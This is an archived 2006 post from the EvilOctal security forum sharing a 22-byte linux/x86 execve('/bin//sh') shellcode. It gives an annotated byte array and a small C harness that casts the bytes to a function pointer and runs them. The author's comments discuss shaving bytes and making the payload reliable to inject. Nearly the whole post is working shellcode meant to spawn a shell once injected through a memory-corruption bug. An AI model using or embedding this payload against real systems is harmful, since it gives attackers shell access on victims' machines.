邪恶八进制信息安全团队技术讨论组's Archiver

ring04h 2006-11-17 10:13

linux/x86 execve(/bin/sh) 22 bytes

[code]
/*
* revenge-execve.c, v1.0 2006/10/14 16:32
*
* Yet another linux execve shellcode..
* linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode
*
* [url]http://www.0xcafebabe.it[/url]
* <[email]revenge@0xcafebabe.it[/email]>
*
* But this time it&#39;s 22 bytes
*
* [ We could start the shellcode with a mov instead of (push + pop) eax  ]
* [ obtaining the same result with 1 byte less, but if we had something  ]
* [ wrong in eax (ex. -1 due to an unclear function exit) we can&#39;t     ]
* [ inject it                                        ]
*
* */

char sc[] =
                         // <_start>
     "\xb0\x0b"              // mov   $0xb,%al
     "\x99"                // cltd
     "\x52"                // push  %edx
     "\x68\x2f\x2f\x73\x68"      // push  $0x68732f2f
     "\x68\x2f\x62\x69\x6e"      // push  $0x6e69622f
     "\x89\xe3"              // mov   %esp,%ebx
     "\x52"                // push  %edx
     "\x53"                // push  %ebx
     "\x89\xe1"              // mov   %esp,%ecx
     "\xcd\x80"              // int   $0x80
;

int main()
{
     void   (*fp)(void) = (void (*)(void))sc;

     printf("Length: %d\n",strlen(sc));
     fp();
}


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team